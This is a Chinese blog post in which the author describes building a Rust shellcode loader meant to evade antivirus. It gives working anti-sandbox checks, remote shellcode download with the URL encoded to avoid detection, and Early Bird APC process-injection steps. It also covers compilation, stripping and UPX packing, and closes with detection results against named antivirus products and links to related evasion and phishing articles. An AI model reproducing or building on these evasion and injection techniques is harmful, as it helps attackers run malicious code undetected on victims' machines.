学习rust, 练习写一个loader, 不足之处还请指教

编写

隐藏黑框

在注释掉所有打印语句后编译运行还是会弹黑框, 解决方法是头部添加一行(指定 Rust 编译器生成的可执行文件为 Windows 子系统应用程序,而不是控制台应用程序):

#![windows_subsystem = "windows"]

反沙箱

流速检测

pub fn ft() {
use std::time::{Duration, Instant};
use std::thread::sleep; let start_time = Instant::now(); sleep(Duration::from_millis(5000)); let elapsed_time = start_time.elapsed(); if elapsed_time.as_millis() < 5000 {
std::process::exit(1);
}
}

检查进程数

pub fn pc() {
let mut system = System::new_all();
system.refresh_all();
let process_count = system.processes().len(); if process_count <= 50 {
std::process::exit(1);
}
}

网络请求

使用轻量级的HTTP库ureq​, 示例如下:

use ureq;

fn main() {
let response = ureq::get("https://example.com/file.zip")
.call()
.expect("Failed to make request"); if response.status() == 200 {
let content = response.into_string().expect("Failed to read response");
println!("Downloaded file: {}", content);
} else {
eprintln!("Failed to download file, status code: {}", response.status());
}
}

不要直接硬编码url在代码中,然后就用管用伎俩简单编码一下,但是一整个解码使用居然不成, 问gpt说可能产生了不可见字符

拆成protocol,host, port, pattern后解码组合就可以正常读取了, DIE中也没有检出(这个patcher还是要处理一下)

加载shellcode

这里我没有对shellcode进行任何处理, 获取之后直接使用Early Bird​进行注入, 简述一下过程:

  1. 使用 CreateProcessA​ 创建一个进程。
  2. 使用 VirtualAllocEx​ 在目标进程中分配远程内存。
  3. 使用 WriteProcessMemory​ 将 SHELLCODE 复制到已分配的内存中。
  4. 使用 VirtualProtectEx​ 更改内存权限为可执行。
  5. 使用 QueueUserAPC​ 执行进程。
  6. 使用 ResumeThread​ 恢复进程的线程。
  7. 使用 CloseHandle​ 关闭已打开的句柄。

对于错误处理一律退出不使用panic, 可以在代码中细看。

编译优化

为了缩小体积, 在_config.yml​中添加

[profile.release]
# 设置为1个块最大化优化,但时间会更长
codegen-units = 1
# 设置为s时,编译器会优先考虑生成最小的二进制文件大小,同时保持合理的性能
opt-level = "s"
# 链接时优化,可以显著减小二进制文件的大小,并提高性能
lto = true
# 禁止符号表和调试
debug = false
# 剥离调试信息
strip = true
# 崩溃时不希望看到调试信息
panic = "abort"

另外使用压缩库miniz_oxide​,添加上依赖:

[dependencies]
miniz_oxide = "0.5"

最后使用release 通用发布:

cargo build --release

使用cargo-strip​在构建后剥离二进制文件中的调试信息和其他不必要的数据。

cargo install cargo-strip
cargo strip -t target/release/RustLoader.exe

此时大小基本为1.5MB, 也可以继续upx压缩(patcher要注意处理一下), 之后按需加资源

upx -9 --best --force target/release/RustLoader.exe

免杀效果

添加反沙箱后, 无法在虚拟机中测试, 以下测试均使用直接生成的产物(不使用upx, upx-patcher, 反沙箱), 截止测试之时:

微步检出率为1/28

火绒

腾讯电脑管家

360

defender

如果觉得可以欢迎star一起交流~ : 传送门

Rust远程加载shellcode的更多相关文章

  1. 00-DLL劫持&C语言远程加载shellcode

    0x01 杀软拦截检测规则引导-DLL劫持上线 准备工具 cs vs2019 dll劫持工具:https://bbs.pediy.com/thread-224408.htm 极速PDF:https:/ ...

  2. 动态加载 ShellCode绕过杀软

    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...

  3. 免杀之:Python加载shellcode免杀

    免杀之:Python加载shellcode免杀 目录 免杀之:Python加载shellcode免杀 1 Python 加载Shellcode免杀 使用Python可以做一些加密.混淆,但使用Pyth ...

  4. 在Unity中创建可远程加载的.unity3d包

    在一个Unity项目中,发布包本身不一定要包括所有的Asset(译为资产或组件),其它的部分可以单独发布为.unity3d,再由程序从本地/远程加载执行,这部分不在本文讨论范围.虽然Unity并没有直 ...

  5. Ext2.0之Tabpanel AJAX远程加载多标签页面模式开发技巧

    目前开发的方式是采用远程load页面来实现多页面效果,类似于126邮箱多标签页效果.但是比126邮箱的方式更好,因为页面打开后是load到本地的,126似乎还会重新请求.在近期项目该开发方式已经基本成 ...

  6. CSS远程加载字体

    CSS 远程加载字体的方法,做网站CSS的都知道,用户浏览网站时,网页上的字体是加载本地的.换言之,如果网站使用了用户电脑所没有安装的字体,那显示字体就会被默认字体所代替了,自然效果就大受影响了. 上 ...

  7. bootstrap模态框远程加载网页的正确处理方式

    bootstrap模态框远程加载网页的方法 在bootsrap模态框文档里给出了这个方法: 使用链接模式 <a data-toggle="modal" href=" ...

  8. Bootstrap Modal 使用remote从远程加载内容

        Bootstrap的Modal这个模态窗组件还是很好用的,但在开发的过程中模态窗中的内容大部分都是从后端加载的.要实现模态窗的内容是从后端加载话,常用的实现方式有2种.它们是:     (1) ...

  9. Python内存加载shellcode

    生成 首先生成一个测试的msf shellcode msfvenom -p windows/x64/exec CMD=calc.exe -f python 把其中的shellcode复制出来留待待会使 ...

  10. 钓鱼攻击之远程加载恶意Word模版文件上线CS

    0x00 前言 利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码.这里 ...

随机推荐

  1. C#多线程编程:AutoResetEvent

    作用 简单的完成多线程同步,两个线程共享相同的AutoResetEvent对象.线程可以通过调用AutoResetEvent对象的WaitOne()方法进入等待状态当第二个线程调用Set()方法时,它 ...

  2. buck电路 & boost电路

    buck电路 buck电路是直流的降压电路,我们下面给大家讲下,如何把12V的直流电压降压成5V的直流电压 1.buck电路拓扑:12V----->5V 2.降压原理 a.开关闭合,电流走向 电 ...

  3. Flink Catalog

    概念 Catalog 提供了元数据信息,例如数据库.表.分区.视图以及数据库或其他外部系统中存储的函数和信息. 数据处理最关键的方面之一是管理元数据. 元数据可以是临时的,例如临时表.或者通过 Tab ...

  4. 《机器学习实战》(Machine Learning in Action)

    地址: https://www.manning.com/books/machine-learning-in-action 代码地址: https://www.manning.com/downloads ...

  5. 人形机器人-强化学习算法-PPO算法的实现细节是否会对算法性能有大的影响.

    PPO算法是强化学习算法中目前应用最广的算法,虽然这个算法是2017年发表的,但是至今在整个AI领域下的agent子领域中这个算法都是最主要的强化学习算法(至少目前还没有之一),这个算法尤其在Chat ...

  6. go mod使用小结

    转载请注明出处: go mod 命令是用于管理 Go 语言项目的模块依赖关系的工具.Go 语言从 1.11 版本开始引入了模块支持,并在后续版本中逐渐完善.模块是 Go 语言代码的一个集合,每个模块都 ...

  7. DevEco Studio 实战第一节:字符串拼接与组件构建

    DevEco Studio 实战第一节:字符串拼接与组件构建 引言 在现代软件开发中,TypeScript 提供了强类型的优势,而 DevEco Studio 作为华为推出的开发集成环境,提供了便捷的 ...

  8. 多段区间的时间滑块slider实现方式

    多段区间的时间滑块slider实现方式 写在前面:今天要实现一个尖峰平谷的数据配置,这可一下难倒我了,但是还好互联网上大神云集,感谢各位大神的倾情分享,现在就写下我的感悟,留给看到这篇文章的你 参考链 ...

  9. 裸辞一年狂肝了一个AI搜索!我要硬刚Google和Perplexity!

    Hika AI 是一款 AI 加持的「知识搜索工具」,它主要的目的是帮助你在搜索问题时通过Hika的「不同视角的思路」,为你快速延伸问题相关的知识领域,或者深挖问题中某个关键点,获得更加全面的结果. ...

  10. vue前端代码npm install报错的解决方法

    npm install,报错: npm WARN tarball tarball data for has-bigints@https://registry.npmmirror.com/has-big ...